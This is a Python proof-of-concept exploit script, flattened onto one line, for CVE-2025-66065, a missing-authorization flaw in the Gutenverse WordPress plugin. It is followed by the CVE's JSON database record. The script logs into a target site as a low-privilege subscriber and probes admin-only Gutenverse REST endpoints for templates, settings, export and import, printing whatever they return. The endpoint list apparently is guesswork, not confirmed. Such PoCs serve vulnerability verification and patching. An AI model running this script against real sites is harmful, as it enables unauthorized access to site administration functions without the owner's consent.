CVE-2025-66065

import requests import json # CVE-2025-66065 PoC - Gutenverse Missing Authorization # Target: WordPress site with Gutenverse plugin <= 3.2.1 target_url = "http://target-wordpress-site.com" # Verify WordPress is running print("[*] Checking target site...") response = requests.get(target_url, timeout=10) if response.status_code != 200: print("[-] Target site is not reachable") exit(1) # Step 1: Identify low-privilege user session # This assumes we have a low-privilege account (subscriber role) # In real attack scenario, attacker would register a low-privilege account first session = requests.Session() # Step 2: Login as low-privilege user login_url = f"{target_url}/wp-login.php" login_data = { "log": "low_privilege_user", "pwd": "user_password", "wp-submit": "Log In", "redirect_to": "/wp-admin/", "testcookie": "1" } print("[*] Attempting login as low-privilege user...") login_response = session.post(login_url, data=login_data) if "wordpress_logged_in" not in str(session.cookies): print("[-] Login failed") exit(1) print("[+] Login successful") # Step 3: Exploit the missing authorization vulnerability # Try to access admin-only Gutenverse functionality # Exploit endpoint 1: Access Gutenverse templates/settings print("[*] Exploiting missing authorization (Endpoint 1)...") exploit_endpoints = [ "/wp-json/gutenverse/v1/templates", "/wp-json/gutenverse/v1/settings", "/wp-json/gutenverse/v1/export", "/wp-json/gutenverse/v1/import" ] for endpoint in exploit_endpoints: url = f"{target_url}{endpoint}" response = session.get(url) if response.status_code == 200: print(f"[+] VULNERABLE: {endpoint} - Access granted without authorization") print(f" Response: {response.text[:200]}...") elif response.status_code == 401 or response.status_code == 403: print(f"[-] Protected: {endpoint} - Authorization required") else: print(f"[*] Endpoint: {endpoint} - Status: {response.status_code}") print("\n[*] PoC execution completed") print("[*] If VULNERABLE endpoints were found, the site is affected by CVE-2025-66065")

{"cve": {"id": "CVE-2025-66065", "sourceIdentifier": "[email protected]", "published": "2025-11-21T13:15:47.490", "lastModified": "2026-04-27T18:16:32.550", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Missing Authorization vulnerability in Jegstudio Gutenverse gutenverse allows Exploiting Incorrectly Configured Access Control Security Levels.This issue affects Gutenverse: from n/a through <= 3.2.1."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "HIGH", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-862"}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Plugin/gutenverse/vulnerability/wordpress-gutenverse-plugin-3-2-1-broken-access-control-vulnerability?_s_id=cve", "source": "[email protected]"}]}}